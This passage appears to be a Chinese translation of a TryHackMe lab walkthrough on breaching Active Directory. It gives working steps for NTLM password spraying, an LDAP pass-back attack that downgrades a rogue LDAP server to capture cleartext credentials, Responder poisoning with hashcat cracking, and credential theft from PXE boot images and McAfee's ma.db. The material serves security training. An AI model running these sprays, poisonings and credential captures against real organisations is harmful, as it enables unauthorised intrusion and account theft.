获取第一组 AD 凭据的两种流行方法是开源情报 (OSINT) 和网络钓鱼。我们在这里仅简单提及这两种方法，因为它们已经在其他房间中进行了更深入的介绍。

1.OSINT and Phishing

OSINT

OSINT 用于发现已公开披露的信息。就 AD 凭据而言，发生这种情况的原因有多种，例如：

• 在 Stack Overflow 等公共论坛上提问但在问题中披露敏感信息（例如凭据）的用户。
• 使用硬编码凭据将脚本上传到 Github 等服务的开发人员。
• 由于员工使用其工作帐户注册其他外部网站，因此在过去的违规行为中，凭证被泄露。 HaveIBeenPwned 和 DeHashed 等网站提供了出色的平台，可以确定某人的信息（例如工作电子邮件）是否曾经涉及公开的数据泄露事件。

通过使用 OSINT 技术，有可能恢复公开披露的凭据。如果我们足够幸运找到凭证，我们仍然需要找到一种方法来测试它们是否有效，因为 OSINT 信息可能会过时。在任务 3 中，我们将讨论 NTLM 身份验证服务，它可能提供一个极好的途径来测试凭据以查看它们是否仍然有效。 可以在此处找到有关红队 OSINT 的详细房间。

Phishing

网络钓鱼是另一种破坏 AD 的绝佳方法。网络钓鱼通常会诱使用户在恶意网页上提供凭据，或要求他们运行特定的应用程序，该应用程序会在后台安装远程访问特洛伊木马 (RAT)。这是一种流行的方法，因为 RAT 会在用户的上下文中执行，从而立即允许您模拟该用户的 AD 帐户。这就是为什么网络钓鱼对于红队和蓝队来说都是一个大话题。 可以在此处找到有关网络钓鱼的详细信息。

2.NTLM Authenticated Services

NTLM and NetNTLM

新技术 LAN 管理器 (NTLM) 是一套用于在 AD 中验证用户身份的安全协议。 NTLM 可用于通过使用称为 NetNTLM 的基于质询-响应的方案进行身份验证。这种身份验证机制被网络上的服务大量使用。但是，使用 NetNTLM 的服务也可以暴露在互联网上。以下是一些流行的例子：

• 公开 Outlook Web App (OWA) 登录门户的内部托管 Exchange（邮件）服务器。
• 暴露于互联网的服务器的远程桌面协议（RDP）服务。
• 与 AD 集成的公开 VPN 端点。
• 面向互联网并使用 NetNTLM 的 Web 应用程序。

NetNTLM，通常也称为 Windows 身份验证或 NTLM 身份验证，允许应用程序扮演客户端和 AD 之间的中间人的角色。所有身份验证材料都以质询的形式转发到域控制器，如果成功完成，应用程序将对用户进行身份验证。

这意味着应用程序代表用户进行身份验证，而不是直接在应用程序本身上对用户进行身份验证。这可以防止应用程序存储 AD 凭据，该凭据应仅存储在域控制器上。这个过程如下图所示：

暴力登录攻击

如任务 2 中所述，这些公开的服务提供了一个极好的位置来测试使用其他方式发现的凭据。但是，也可以直接使用这些服务来尝试恢复一组初始的有效 AD 凭据。如果我们在最初的红队侦察期间恢复了有效电子邮件地址等信息，我们也许可以尝试使用它们进行暴力攻击。 由于大多数 AD 环境都配置了帐户锁定，因此我们无法运行完整的暴力攻击。相反，我们需要执行密码喷射攻击。我们不会尝试多个不同的密码，这可能会触发帐户锁定机制，而是选择并使用一个密码并尝试使用我们获得的所有用户名进行身份验证。但是，应该注意的是，由于这些类型的攻击将生成大量失败的身份验证尝试，因此可以检测到这些类型的攻击。 您已获得在红队 OSINT 练习中发现的用户名列表。 OSINT 活动还显示了该组织的初始入职密码，似乎是“Changeme123”。尽管用户应始终更改其初始密码，但我们知道用户经常忘记。我们将使用定制开发的脚本针对托管在以下 URL 的 Web 应用程序进行密码喷射：http://ntlmauth.za.tryhackme.com。 导航到 URL，我们可以看到它提示我们输入 Windows 身份验证凭据：

注意：Firefox 的 Windows 身份验证插件非常容易失败。如果您想手动测试凭据，建议使用 Chrome。 我们可以使用 Hydra 等工具来协助密码喷射攻击。然而，通常最好自己编写这些类型的攻击脚本，这样您就可以更好地控制该过程。任务文件中提供了一个基本的Python脚本，可用于密码喷射攻击。以下函数是脚本的主要组成部分：

def password_spray(self, password, url):
   print ("[*] Starting passwords spray attack using the following password: " + password)
   #Reset valid credential counter
   count = 0
   #Iterate through all of the possible usernames
   for user in self.users:
       #Make a request to the website and attempt Windows Authentication
       response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
       #Read status code of response to determine if authentication was successful
       if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
           print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
           count += 1
           continue
       if (self.verbose):
           if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
               print ("[-] Failed login with Username: " + user)
   print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

此函数将我们建议的密码和我们定位的 URL 作为输入，并尝试使用文本文件中的每个用户名对 URL 进行身份验证。通过监控应用程序的 HTTP 响应代码的差异，我们可以确定凭证对是否有效。如果凭证对有效，应用程序将使用 200 HTTP (OK) 代码进行响应。如果该对无效，应用程序将返回 401 HTTP（未经授权）代码。

Password Spraying

如果您使用 AttackBox，则 /root/Rooms/BreachingAD/task3/ 目录下提供了密码喷射脚本和用户名文本文件。我们可以使用以下命令运行该脚本：

python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>

我们为每个参数提供以下值：

• <userfile> – 包含我们用户名的文本文件 – “usernames.txt”
• <fqdn> – 与我们正在攻击的组织关联的完全限定域名 – “za.tryhackme.com”
• <password> – 我们要用于我们的密码喷射攻击 – “Changeme123”
• <attackurl> – 支持 Windows 身份验证的应用程序的 URL – “http://ntlmauth.za.tryhackme.com”

使用这些参数，我们应该从密码喷射攻击中获得一些有效的凭据对。

[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found

结合使用 OSINT 和 NetNTLM 密码喷射，我们现在拥有了第一个有效的凭据对，可用于进一步枚举 AD！

3.LDAP Bind Credentials(LDAP 绑定凭证)

LDAP

应用程序可以使用的另一种 AD 身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。 LDAP 身份验证与 NTLM 身份验证类似。但是，通过 LDAP 身份验证，应用程序可以直接验证用户的凭据。该应用程序有一对 AD 凭据，可以首先使用它们来查询 LDAP，然后验证 AD 用户的凭据。 LDAP 身份验证是与 AD 集成的第三方（非 Microsoft）应用程序的一种流行机制。其中包括应用程序和系统，例如：

• Gitlab
• Jenkins
• Custom-developed web applications
• Printers
• VPNs

如果这些应用程序或服务中的任何一个暴露在互联网上，则可以使用与针对 NTLM 身份验证系统的攻击相同类型的攻击。然而，由于使用 LDAP 身份验证的服务需要一组 AD 凭据，因此它开辟了额外的攻击途径。本质上，我们可以尝试恢复服务使用的 AD 凭据，以获得对 AD 的经过身份验证的访问。通过LDAP进行认证的流程如下所示：

如果您可以在正确的主机（例如 Gitlab 服务器）上站稳脚跟，那么恢复这些 AD 凭据可能就像读取配置文件一样简单。这些凭证通常以纯文本形式存储在配置文件中，因为安全模型依赖于保持位置和存储配置文件的安全而不是其内容的安全。任务 7 中更深入地介绍了配置文件。

LDAP 回传攻击

然而，可以针对 LDAP 身份验证机制执行另一种非常有趣的攻击，称为 LDAP 回传攻击。当您获得对内部网络的初始访问权限（例如在会议室中插入恶意设备）时，这是针对网络设备（例如打印机）的常见攻击。 当我们访问指定 LDAP 参数的设备配置时，可以执行 LDAP 回传攻击。例如，这可以是网络打印机的 Web 界面。通常，这些接口的凭据保留为默认凭据，例如 admin:admin 或 admin:password。在这里，我们无法直接提取 LDAP 凭据，因为密码通常是隐藏的。但是，我们可以更改 LDAP 配置，例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中，我们可以将此 IP 修改为我们的 IP，然后测试 LDAP 配置，这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。

执行 LDAP 回传

该网络中有一台网络打印机，管理网站甚至不需要凭据。导航至 http://printer.za.tryhackme.com/settings.aspx 以查找打印机的设置页面：

使用浏览器检查，我们还可以验证打印机网站是否至少足够安全，而不仅仅是将 LDAP 密码发送回浏览器：

所以我们有用户名，但没有密码。但是，当我们按测试设置时，我们可以看到向域控制器发出身份验证请求以测试 LDAP 凭据。让我们尝试利用此漏洞让打印机连接到我们，这会泄露凭据。为此，我们使用一个简单的 Netcat 侦听器来测试是否可以让打印机连接到我们。由于LDAP的默认端口是389，我们可以使用以下命令：

nc -lvp 389

请注意，如果您使用 AttackBox，则应首先使用 service slapd stop 禁用 slapd。然后，我们可以更改 Web 应用程序上的服务器输入框以指向我们的 IP，然后按测试设置。 您的 IP 将是您的 VPN IP，并且可以是 10.50.x.x IP 或 10.51.x.x IP。您可以使用 ip a 列出所有接口。请确保使用此作为您的 IP，否则您将不会收到返回的连接。另请记下该 IP 的接口，因为稍后您将在任务中需要它。 您应该看到我们恢复了连接，但有一个小问题：

[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
objectclass0?supportedCapabilities

您可能需要多次尝试才能接收回连接，但它应该会在 5 秒内响应。 supportedCapability 响应告诉我们遇到了问题。本质上，在打印机发送凭据之前，它会尝试协商 LDAP 身份验证方法详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。如果身份验证方法太安全，则凭据将不会以明文形式传输。对于某些身份验证方法，凭据根本不会通过网络传输！所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个恶意 LDAP 服务器并对其进行不安全的配置，以确保凭证以明文形式发送。

托管恶意 LDAP 服务器

有多种方法可以托管恶意 LDAP 服务器，但我们将在本示例中使用 OpenLDAP。如果您使用 AttackBox，则已经为您安装了 OpenLDAP。但是，如果您使用自己的攻击机器，则需要使用以下命令安装 OpenLDAP：

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

然而，您还必须在 AttackBox 上配置您自己的恶意 LDAP 服务器。我们将首先使用以下命令重新配置 LDAP 服务器：

sudo dpkg-reconfigure -p low slapd

如果您想跳过服务器配置，请确保在请求时按<否>：

对于 DNS 域名，您需要提供我们的目标域，即 za.tryhackme.com：

组织名称也使用相同的名称：

提供任何管理员密码：

选择 MDB 作为要使用的 LDAP 数据库：

对于最后两个选项，请确保清除时数据库不会被删除：

在创建新数据库文件之前移动旧数据库文件：

在使用恶意 LDAP 服务器之前，我们需要通过降级支持的身份验证机制来使其容易受到攻击。我们希望确保我们的 LDAP 服务器仅支持 PLAIN 和 LOGIN 身份验证方法。为此，我们需要创建一个新的 ldif 文件，并使用以下内容进行调用：

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

该文件具有以下属性：

• olcSaslSecProps：指定 SASL 安全属性
• noanonymous：禁用支持匿名登录的机制
• minssf：指定可接受的最小安全强度，0 表示无保护。

现在我们可以使用 ldif 文件来修补我们的 LDAP 服务器，方法如下：

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

我们可以使用以下命令验证我们的恶意 LDAP 服务器的配置是否已应用（注意：如果您使用 Kali，您可能不会收到任何输出，但配置应该已生效，您可以继续执行后续步骤）：

[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

捕获 LDAP 凭证

我们的恶意 LDAP 服务器现已配置完毕。当我们单击 http://printer.za.tryhackme.com/settings.aspx 上的“测试设置”时，身份验证将以明文形式进行。如果您正确配置了恶意 LDAP 服务器并且它正在降级通信，您将收到以下错误：“此专有名称包含无效语法”。如果收到此错误，您可以使用以下命令使用 tcpdump 来捕获凭据：

[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73                               isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5010 01f6 2930 0000                     P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@[email protected]
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e       ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5010 2014 0ae4 0000 0000 0000 0000       P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11

另请注意，password11 是一个示例。您的服务密码将会不同。在 TCPdump 返回数据之前，您可能需要按几次“测试设置”按钮，因为我们是通过 VPN 连接执行攻击。 现在我们有了另一组有效的 AD 凭据！通过使用 LDAP 回传攻击并降级支持的身份验证机制，我们可以拦截明文形式的凭据。

4.Authentication Relays(认证中继)

继续讨论可以从我们的恶意设备发起的攻击，我们现在将研究针对更广泛的网络身份验证协议的攻击。在Windows网络中，有大量的服务相互通信，允许用户利用网络提供的服务。 这些服务必须使用内置的身份验证方法来验证传入连接的身份。在任务 2 中，我们探索了 Web 应用程序上使用的 NTLM 身份验证。在此任务中，我们将更深入地从网络的角度了解此身份验证的外观。但是，对于此任务，我们将重点关注 SMB 使用的 NetNTLM 身份验证。

Server Message Block

服务器消息块 (SMB) 协议允许客户端（如工作站）与服务器（如文件共享）进行通信。在使用 Microsoft AD 的网络中，SMB 负责管理从网络间文件共享到远程管理的所有事务。即使当您尝试打印文档时计算机收到的“缺纸”警报也是 SMB 协议的作用。 然而，早期版本的 SMB 协议的安全性被认为是不够的。我们发现了多个漏洞和漏洞，可用于恢复凭据，甚至在设备上执行代码。尽管其中一些漏洞在协议的新版本中得到了解决，但组织通常不会强制使用更新的版本，因为遗留系统不支持它们。我们将研究使用 SMB 进行 NetNTLM 身份验证的两种不同漏洞：

• 由于NTLM Challenges可以被拦截，我们可以使用离线破解技术来恢复与NTLM Challenge相关的密码。然而，这种破解过程比直接破解 NTLM 哈希要慢得多。
• 我们可以使用我们的流氓设备发起中间人攻击，在客户端和服务器之间中继 SMB 身份验证，这将为我们提供主动的经过身份验证的会话以及对目标服务器的访问。

LLMNR, NBT-NS, and WPAD

在此任务中，我们将稍微了解一下使用 SMB 期间发生的身份验证。我们将使用 Responder 尝试拦截 NetNTLM 挑战来破解它。网络上通常有很多这样的挑战。一些安全解决方案甚至扫描整个 IP 范围以从主机恢复信息。有时，由于 DNS 记录过时，这些身份验证挑战最终可能会攻击您的恶意设备而不是目标主机。 Responder 允许我们通过在 NetNTLM 身份验证期间毒害响应来执行中间人攻击，欺骗客户端与您而不是他们想要连接的实际服务器进行对话。在真实 LAN 上，Responder 将尝试毒害检测到的任何链路本地多播名称解析 (LLMNR)、NetBIOS 名称服务 (NBT-NS) 和 Web 代理自动发现 (WPAD) 请求。在大型 Windows 网络上，这些协议允许主机为同一本地网络上的所有主机执行自己的本地 DNS 解析。主机可以首先尝试通过发送 LLMNR 请求并查看是否有主机响应来确定它们正在查找的主机是否位于同一本地网络上，而不是使 DNS 服务器等网络资源负担过重。 NBT-NS 是 LLMNR 的先驱协议，发出 WPAD 请求是为了尝试为未来的 HTTP(s) 连接找到代理。 由于这些协议依赖于在本地网络上广播的请求，因此我们的恶意设备也会收到这些请求。通常，这些请求会被简单地丢弃，因为它们不是针对我们的主机的。然而，响应者将主动侦听请求并发送有毒响应，告诉请求主机我们的 IP 与请求的主机名相关联。通过毒害这些请求，Responder 尝试强制客户端连接到我们的 AttackBox。在同一行中，它开始托管多个服务器，例如 SMB、HTTP、SQL 等，以捕获这些请求并强制进行身份验证。

Intercepting NetNTLM Challenge(拦截 NetNTLM 挑战)

需要注意的一件事是，Responder 实质上试图通过毒害连接来赢得竞争条件，以确保您拦截连接。这意味着响应程序通常仅限于本地网络上的中毒身份验证质询。由于我们通过 VPN 连接到网络，因此我们只能破坏该 VPN 网络上发生的身份验证质询。为此，我们模拟了一个可能中毒的身份验证请求，每 30 分钟运行一次。这意味着您可能需要等待一段时间才能拦截 NetNTLM 质询和响应。 尽管 Responder 在从连接到组织 LAN 的恶意设备执行时能够拦截和毒害更多身份验证请求，但了解这种行为可能具有破坏性并因此被检测到至关重要。通过中毒身份验证请求，正常的网络身份验证尝试将失败，这意味着用户和服务将无法连接到他们想要连接的主机和共享。在安全评估中使用 Responder 时请记住这一点。 Responder 已安装在 AttackBox 上。但是，如果您不使用 AttackBox，则可以从此存储库下载并安装它：https://github.com/lgandx/Responder。我们将设置 Responder 在连接到 VPN 的接口上运行：

sudo responder -I tun0

如果您使用 AttackBox，则并非所有响应程序服务都能够启动，因为其他服务已在使用这些端口。但是，这不会影响此任务。另外，请确保根据您的网络 IP 的隧道指定 tun0 或 tun1。 Responder 现在将侦听任何传入的 LLMNR、NBT-NS 或 WPAD 请求。我们会让 Responder 在真实 LAN 上运行一段时间。然而，在我们的例子中，我们必须通过让其中一台服务器尝试对 VPN 上的计算机进行身份验证来模拟这种中毒。让 Responder 运行一段时间（平均 10 分钟，呼吸一下新鲜空气！），您应该会收到一个 SMBv2 连接，Responder 可以使用该连接来吸引和提取 NTLMv2-SSP 响应。它看起来像这样：

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>

如果我们使用恶意设备，我们可能会运行 Responder 相当长的时间，捕获多个响应。一旦我们有了几个，我们就可以开始对响应执行一些离线破解，以期恢复它们关联的 NTLM 密码。如果账户配置了弱密码，我们就有很大的机会成功破解它们。将 NTLMv2-SSP 哈希复制到文本文件。然后，我们将使用可下载文件中提供的密码列表来执行此任务，并使用 Hashcat 尝试使用以下命令破解哈希：

hashcat -m 5600 <hash file> <password file> --force

密码文件已在 AttackBox 上的 /root/Rooms/BreachingAD/task5/ 目录中提供，或者作为可下载的任务文件提供。我们使用 hashtype 5600，它与 hashcat 的 NTLMv2-SSP 相对应。如果您使用自己的机器，则必须先安装 Hashcat。 我们可以破解的任何哈希现在都将为我们提供用于违规的 AD 凭据！

Relaying the Challenge(传递挑战)

然而，在某些情况下，我们可以更进一步，尝试传递挑战，而不是直接捕获挑战。如果事先不了解帐户，则执行此操作会有点困难，因为此攻击取决于关联帐户的权限。我们需要做一些对我们有利的事情：

• 应禁用或启用 SMB 签名，但不强制执行。当我们执行中继时，我们会对请求进行微小的更改以将其传递。如果启用了 SMB 签名，我们将无法伪造消息签名，这意味着服务器会拒绝它。
• 关联的帐户需要服务器上的相关权限才能访问所请求的资源。理想情况下，我们希望中继具有服务器管理权限的帐户的质询和响应，因为这将使我们能够在主机上立足。
• 由于我们在技术上还没有 AD 立足点，因此需要对哪些帐户对哪些主机拥有权限进行一些猜测。如果我们已经违反了 AD，我们可以先执行一些初始枚举，这通常是这种情况。

这就是盲接通常不流行的原因。理想情况下，您首先使用另一种方法破坏 AD，然后执行枚举以确定与您所破坏的帐户关联的权限。从这里，您通常可以执行横向移动以跨域进行权限升级。不过，从根本上了解一下中继攻击的工作原理还是很好的，如下图所示：

如果您想实际尝试这种类型的攻击，请前往 Holo Network。我们也会在以后的广告室中再次讨论这一点。

5.Microsoft Deployment Toolkit

大型组织需要工具来部署和管理资产的基础设施。在大型组织中，您无法让 IT 人员使用 DVD 甚至 USB 闪存驱动器在每台计算机上安装软件。幸运的是，微软已经提供了管理资产所需的工具。然而，我们也可以利用这些工具中的错误配置来破坏 AD。

MDT 和 SCCM

Microsoft 部署工具包 (MDT) 是一项 Microsoft 服务，可帮助自动部署 Microsoft 操作系统 (OS)。大型组织使用 MDT 等服务来帮助更有效地在其资产中部署新映像，因为可以在中央位置维护和更新基础映像。 通常，MDT 与 Microsoft 的系统中心配置管理器 (SCCM) 集成，后者管理所有 Microsoft 应用程序、服务和操作系统的所有更新。 MDT 用于新部署。从本质上讲，它允许 IT 团队预配置和管理启动映像。因此，如果他们需要配置一台新机器，只需插入网线，一切都会自动发生。他们可以对启动映像进行各种更改，例如已经安装 Office365 等默认软件和组织选择的防病毒软件。它还可以确保在安装第一次运行时更新新版本。 SCCM 几乎可以被视为 MDT 的扩展和老大哥。软件安装后会发生什么？嗯，SCCM 进行这种类型的补丁管理。它允许 IT 团队查看整个地产中安装的所有软件的可用更新。团队还可以在沙箱环境中测试这些补丁，以确保它们稳定，然后再将它们集中部署到所有加入域的计算机。它使 IT 团队的工作变得更加轻松。 然而，任何提供基础设施集中管理的东西（例如 MDT 和 SCCM）也可能成为攻击者的目标，试图接管该资产中的大部分关键功能。尽管可以通过多种方式配置 MDT，但对于此任务，我们将专门关注称为预启动执行环境 (PXE) 启动的配置。

PXE启动

大型组织使用 PXE 引导来允许连接到网络的新设备直接通过网络连接加载和安装操作系统。 MDT 可用于创建、管理和托管 PXE 启动映像。 PXE 启动通常与 DHCP 集成，这意味着如果 DHCP 分配 IP 租约，则允许主机请求 PXE 启动映像并启动网络操作系统安装过程。通信流程如下图所示：

执行该过程后，客户端将使用 TFTP 连接下载 PXE 启动映像。我们可以将 PXE 启动映像用于两个不同的目的：

• 注入权限升级向量（例如本地管理员帐户），以便在 PXE 启动完成后获得对操作系统的管理访问权限。
• 执行密码抓取攻击以恢复安装期间使用的 AD 凭据。

在本任务中，我们将重点关注后者。我们将尝试在安装过程中恢复与 MDT 服务关联的部署服务帐户，以应对此密码抓取攻击。此外，还可以检索用于无人值守安装应用程序和服务的其他 AD 帐户。

PXE 启动映像检索

由于 DHCP 有点挑剔，我们将绕过此攻击的初始步骤。我们将跳过尝试从 DHCP 请求 IP 和 PXE 启动预配置详细信息的部分。我们将手动执行该过程中此步骤的其余攻击。 您通过 DHCP 收到的有关 PXE 启动预配置的第一条信息是 MDT 服务器的 IP。在我们的例子中，您可以从 TryHackMe 网络图中恢复该信息。 您收到的第二条信息是 BCD 文件的名称。这些文件存储与不同类型的体系结构的 PXE 引导相关的信息。要检索此信息，您需要连接到此网站：http://pxeboot.za.tryhackme.com。它将列出各种 BCD 文件：

通常，您将使用 TFTP 请求每个 BCD 文件并枚举所有文件的配置。不过，由于时间关系，我们将重点关注 x64 架构的 BCD 文件。复制并存储该文件的全名。在本练习的其余部分中，我们将使用此名称占位符 x64{7B…B3}.bcd，因为 MDT 每天都会重新生成文件及其名称。每次看到此占位符时，请记住将其替换为您的特定 BCD 文件名。另请注意，如果网络刚刚启动，这些文件名将仅在网络处于活动状态 10 分钟后更新。 现在从 DHCP 恢复了初始信息（眨眼），我们可以枚举并检索 PXE 启动映像。在接下来的几个步骤中，我们将使用 THMJMP1 上的 SSH 连接，因此请使用以下命令对此 SSH 会话进行身份验证：

ssh [email protected]

and the password of Password1@.

为了确保网络的所有用户都可以使用 SSH，首先使用您的用户名创建一个文件夹，并将 powerpxe 存储库复制到此文件夹中：

C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>

我们需要执行的第一步是使用 TFTP 并下载 BCD 文件来读取 MDT 服务器的配置。 TFTP 比 FTP 有点棘手，因为我们无法列出文件。相反，我们发送文件请求，服务器将通过 UDP 连接回我们以传输文件。因此，我们在指定文件和文件路径时需要准确。 BCD 文件始终位于 MDT 服务器上的 /Tmp/ 目录中。我们可以在 SSH 会话中使用以下命令启动 TFTP 传输：

C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

您必须使用 nslookup thmmdt.za.tryhackme.com 查找 THMMDT IP。现在 BCD 文件已恢复，我们将使用 powerpxe 读取其内容。 Powerpxe 是一个 PowerShell 脚本，可自动执行此类攻击，但通常会产生不同的结果，因此最好执行手动方法。我们将使用 powerpxe 的 Get-WimFile 函数从 BCD 文件中恢复 PXE 启动映像的位置：

C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.  
​
PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location>

WIM 文件是 Windows 映像格式 (WIM) 的可启动映像。现在我们已经知道了 PXE 启动映像的位置，我们可以再次使用 TFTP 下载该映像：

PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s

由于您正在下载完全可启动且已配置的 Windows 映像，因此此下载将需要一段时间。也许在等待的时候伸伸腿，喝杯水。

从 PXE 启动映像恢复凭据

现在我们已经恢复了 PXE 启动映像，我们可以窃取存储的凭据。应该指出的是，我们可以发起各种攻击。我们可以注入本地管理员用户，因此一旦映像启动，我们就具有管理员访问权限，我们可以安装映像以拥有加入域的计算机。如果您有兴趣了解有关这些攻击的更多信息，可以阅读本文。本次练习将重点关注尝试窃取凭证的简单攻击。 我们将再次使用 powerpxe 来恢复凭据，但您也可以通过提取映像并查找 bootstrap.ini 文件（通常存储这些类型的凭据）来手动执行此步骤。要使用 powerpxe 从引导文件恢复凭据，请运行以下命令：

PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>

如您所见，powerpxe 能够恢复 AD 凭据。我们现在有了另一组可以使用的 AD 凭据！

6.Configuration Files

我们将在此网络中探索的最后一个枚举途径是配置文件。假设您足够幸运，造成了一次漏洞，使您能够访问组织网络上的主机。在这种情况下，配置文件是尝试恢复 AD 凭据的绝佳探索途径。根据被破坏的主机，各种配置文件可能具有枚举价值：

• Web application config files
• Service configuration files
• Registry keys
• Centrally deployed applications

可以使用多个枚举脚本（例如 Seatbelt）来自动执行此过程。

配置文件凭证

但是，在此任务中，我们将重点关注从集中部署的应用程序恢复凭据。通常，这些应用程序需要一种在安装和执行阶段对域进行身份验证的方法。此类应用程序的一个示例是 McAfee Enterprise Endpoint Security，组织可以将其用作端点检测和安全响应工具。 McAfee 将安装期间用于连接回 Orchestrator 的凭据嵌入名为 ma.db 的文件中。可以通过对主机的本地访问来检索和读取该数据库文件，以恢复关联的 AD 服务帐户。在本练习中，我们将再次使用 THMJMP1 上的 SSH 访问。 ma.db 文件存储在固定位置：

thm@THMJMP1 C:\Users\THM>cd C:\ProgramData\McAfee\Agent\DB
thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir
Volume in drive C is Windows 10
Volume Serial Number is 6A0F-AA0F
​
Directory of C:\ProgramData\McAfee\Agent\DB      
​
03/05/2022 10:03 AM   <DIR>         .
03/05/2022 10:03 AM   <DIR>         ..
03/05/2022 10:03 AM           120,832 ma.db      
              1 File(s)       120,832 bytes    
              2 Dir(s) 39,426,285,568 bytes free

我们可以使用 SCP 将 ma.db 复制到我们的 AttackBox：

thm@thm:~/thm# scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .
[email protected]'s password:
ma.db 100% 118KB 144.1KB/s   00:00

